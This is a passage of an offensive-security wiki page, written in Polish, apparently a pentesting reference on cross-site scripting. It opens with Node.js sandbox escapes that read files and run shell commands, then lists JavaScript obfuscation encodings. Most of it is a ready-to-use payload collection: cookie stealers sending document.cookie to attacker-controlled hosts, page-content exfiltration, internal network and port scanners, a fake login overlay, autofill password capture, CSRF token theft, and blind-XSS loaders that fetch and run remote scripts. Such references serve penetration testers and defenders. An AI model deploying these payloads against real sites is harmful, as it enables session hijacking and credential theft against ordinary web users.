with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
|||
|
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
|||
|
|
|||
|
//Final solution
|
|||
|
with(
|
|||
|
/with(String)
|
|||
|
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
|
|||
|
with(mainModule)
|
|||
|
with(require(k))
|
|||
|
return(String(readFileSync(n)))
|
|||
|
/)
|
|||
|
with(this)
|
|||
|
with(constructor)
|
|||
|
constructor(source)()
|
|||
|
|
|||
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
|||
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
|||
|
```
|
|||
|
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
|
|||
|
|
|||
|
* Używając import()
|
|||
|
```javascript
|
|||
|
// although import "fs" doesn’t work, import('fs') does.
|
|||
|
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
|
```
|
|||
|
* Uzyskiwanie dostępu do `require` pośrednio
|
|||
|
|
|||
|
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowane przez Node.js w funkcję, w ten sposób:
|
|||
|
```javascript
|
|||
|
(function (exports, require, module, __filename, __dirname) {
|
|||
|
// our actual module code
|
|||
|
});
|
|||
|
```
|
|||
|
Dlatego, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**:
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```javascript
|
|||
|
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**:
|
|||
|
```javascript
|
|||
|
try {
|
|||
|
null.f()
|
|||
|
} catch (e) {
|
|||
|
TypeError = e.constructor
|
|||
|
}
|
|||
|
Object = {}.constructor
|
|||
|
String = ''.constructor
|
|||
|
Error = TypeError.prototype.__proto__.constructor
|
|||
|
function CustomError() {
|
|||
|
const oldStackTrace = Error.prepareStackTrace
|
|||
|
try {
|
|||
|
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
|
|||
|
Error.captureStackTrace(this)
|
|||
|
this.stack
|
|||
|
} finally {
|
|||
|
Error.prepareStackTrace = oldStackTrace
|
|||
|
}
|
|||
|
}
|
|||
|
function trigger() {
|
|||
|
const err = new CustomError()
|
|||
|
console.log(err.stack[0])
|
|||
|
for (const x of err.stack) {
|
|||
|
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
|
|||
|
const fn = x.getFunction()
|
|||
|
console.log(String(fn).slice(0, 200))
|
|||
|
console.log(fn?.arguments)
|
|||
|
console.log('='.repeat(40))
|
|||
|
if ((args = fn?.arguments)?.length > 0) {
|
|||
|
req = args[1]
|
|||
|
console.log(req('child_process').execSync('id').toString())
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
trigger()
|
|||
|
```
|
|||
|
### Obfuskacja i zaawansowane omijanie
|
|||
|
|
|||
|
* **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
|||
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
|||
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
|||
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
|||
|
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
|||
|
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
|||
|
* Bardziej zaawansowany JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
|||
|
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
|||
|
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
|||
|
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
|||
|
```javascript
|
|||
|
//Katana
|
|||
|
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
|||
|
```
|
|||
|
|
|||
|
```javascript
|
|||
|
//JJencode
|
|||
|
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
|||
|
```
|
|||
|
|
|||
|
```javascript
|
|||
|
//JSFuck
|
|||
|
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
|||
|
```
|
|||
|
|
|||
|
```javascript
|
|||
|
//aaencode
|
|||
|
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
|
|||
|
```
|
|||
|
|
|||
|
```javascript
|
|||
|
// It's also possible to execute JS code only with the chars: []`+!${}
|
|||
|
```
|
|||
|
## XSS common payloads
|
|||
|
|
|||
|
### Several payloads in 1
|
|||
|
|
|||
|
{% content-ref url="steal-info-js.md" %}
|
|||
|
[steal-info-js.md](steal-info-js.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Iframe Trap
|
|||
|
|
|||
|
Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzież jego działań (w tym informacji wysyłanych w formularzach):
|
|||
|
|
|||
|
{% content-ref url="../iframe-traps.md" %}
|
|||
|
[iframe-traps.md](../iframe-traps.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Retrieve Cookies
|
|||
|
```javascript
|
|||
|
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
|||
|
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
|||
|
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
|
|||
|
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
|
|||
|
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
|||
|
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
|||
|
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
|||
|
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
|||
|
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
|
|||
|
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
|||
|
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
|||
|
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
|||
|
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
|
|||
|
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
|
|||
|
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
|
|||
|
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
|
|||
|
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
|
|||
|
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
|||
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Nie **będziesz w stanie uzyskać dostępu do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/#httponly), jeśli masz wystarczające szczęście.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### Kradzież zawartości strony
|
|||
|
```javascript
|
|||
|
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
|||
|
var attacker = "http://10.10.14.8/exfil";
|
|||
|
var xhr = new XMLHttpRequest();
|
|||
|
xhr.onreadystatechange = function() {
|
|||
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|||
|
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
|
}
|
|||
|
}
|
|||
|
xhr.open('GET', url, true);
|
|||
|
xhr.send(null);
|
|||
|
```
|
|||
|
### Znajdź wewnętrzne adresy IP
|
|||
|
```html
|
|||
|
<script>
|
|||
|
var q = []
|
|||
|
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
|||
|
var wait = 2000
|
|||
|
var n_threads = 51
|
|||
|
|
|||
|
// Prepare the fetchUrl functions to access all the possible
|
|||
|
for(i=1;i<=255;i++){
|
|||
|
q.push(
|
|||
|
function(url){
|
|||
|
return function(){
|
|||
|
fetchUrl(url, wait);
|
|||
|
}
|
|||
|
}('http://192.168.0.'+i+':8080'));
|
|||
|
}
|
|||
|
|
|||
|
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
|||
|
for(i=1; i<=n_threads; i++){
|
|||
|
if(q.length) q.shift()();
|
|||
|
}
|
|||
|
|
|||
|
function fetchUrl(url, wait){
|
|||
|
console.log(url)
|
|||
|
var controller = new AbortController(), signal = controller.signal;
|
|||
|
fetch(url, {signal}).then(r=>r.text().then(text=>
|
|||
|
{
|
|||
|
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
|||
|
}
|
|||
|
))
|
|||
|
.catch(e => {
|
|||
|
if(!String(e).includes("The user aborted a request") && q.length) {
|
|||
|
q.shift()();
|
|||
|
}
|
|||
|
});
|
|||
|
|
|||
|
setTimeout(x=>{
|
|||
|
controller.abort();
|
|||
|
if(q.length) {
|
|||
|
q.shift()();
|
|||
|
}
|
|||
|
}, wait);
|
|||
|
}
|
|||
|
</script>
|
|||
|
```
|
|||
|
### Skaner portów (fetch)
|
|||
|
```javascript
|
|||
|
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
|||
|
```
|
|||
|
### Skaner portów (websockets)
|
|||
|
```python
|
|||
|
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
|||
|
for(var i=0; i<ports.length; i++) {
|
|||
|
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
|
|||
|
s.start = performance.now();
|
|||
|
s.port = ports[i];
|
|||
|
s.onerror = function() {
|
|||
|
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
|
|||
|
};
|
|||
|
s.onopen = function() {
|
|||
|
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
|
|||
|
};
|
|||
|
}
|
|||
|
```
|
|||
|
_Skrócone czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na brak odpowiedzi._
|
|||
|
|
|||
|
Przejrzyj listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
|||
|
|
|||
|
### Okno do prośby o dane uwierzytelniające
|
|||
|
```markup
|
|||
|
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
|||
|
```
|
|||
|
### Przechwytywanie haseł automatycznego uzupełniania
|
|||
|
```javascript
|
|||
|
<b>Username:</><br>
|
|||
|
<input name=username id=username>
|
|||
|
<b>Password:</><br>
|
|||
|
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
|
|||
|
method:'POST',
|
|||
|
mode: 'no-cors',
|
|||
|
body:username.value+':'+this.value
|
|||
|
});">
|
|||
|
```
|
|||
|
Kiedy jakiekolwiek dane są wprowadzane w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
|
|||
|
|
|||
|
### Keylogger
|
|||
|
|
|||
|
Szukając w githubie, znalazłem kilka różnych:
|
|||
|
|
|||
|
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
|||
|
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
|||
|
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
|||
|
* Możesz również użyć metasploit `http_javascript_keylogger`
|
|||
|
|
|||
|
### Kradzież tokenów CSRF
|
|||
|
```javascript
|
|||
|
<script>
|
|||
|
var req = new XMLHttpRequest();
|
|||
|
req.onload = handleResponse;
|
|||
|
req.open('get','/email',true);
|
|||
|
req.send();
|
|||
|
function handleResponse() {
|
|||
|
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
|
|||
|
var changeReq = new XMLHttpRequest();
|
|||
|
changeReq.open('post', '/email/change-email', true);
|
|||
|
changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
|
};
|
|||
|
</script>
|
|||
|
```
|
|||
|
### Kradzież wiadomości PostMessage
|
|||
|
```markup
|
|||
|
<img src="https://attacker.com/?" id=message>
|
|||
|
<script>
|
|||
|
window.onmessage = function(e){
|
|||
|
document.getElementById("message").src += "&"+e.data;
|
|||
|
</script>
|
|||
|
```
|
|||
|
### Wykorzystywanie Service Workers
|
|||
|
|
|||
|
{% content-ref url="abusing-service-workers.md" %}
|
|||
|
[abusing-service-workers.md](abusing-service-workers.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Uzyskiwanie dostępu do Shadow DOM
|
|||
|
|
|||
|
{% content-ref url="shadow-dom.md" %}
|
|||
|
[shadow-dom.md](shadow-dom.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Poligloty
|
|||
|
|
|||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
|||
|
|
|||
|
### Ślepe ładunki XSS
|
|||
|
|
|||
|
Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
|
|||
|
```markup
|
|||
|
"><img src='//domain/xss'>
|
|||
|
"><script src="//domain/xss.js"></script>
|
|||
|
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
|||
|
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
|
|||
|
|
|||
|
<!-- html5sec - Self-executing focus event via autofocus: -->
|
|||
|
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
|
|||
|
|
|||
|
<!-- html5sec - JavaScript execution via iframe and onload -->
|
|||
|
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
|
|||
|
|
|||
|
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
|
|||
|
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
|
|||
|
|
|||
|
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
|
|||
|
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
|||
|
|
|||
|
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
|
|||
|
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
|||
|
|
|||
|
<!-- xsshunter.com - Sites that use JQuery -->
|
|||
|
<script>$.getScript("//domain")</script>
|
|||
|
|
|||
|
<!-- xsshunter.com - When <script> is filtered -->
|
|||
|
"><img src=x id=payload== onerror=eval(atob(this.id))>
|
|||
|
|
|||
|
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
|
|||
|
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
|
|||
|
|
|||
|
<!-- noscript trick -->
|
|||
|
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
|||
|
|
|||
|
<!-- whitelisted CDNs in CSP -->
|
|||
|
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
|
|||
|
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
|||
|
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
|||
|
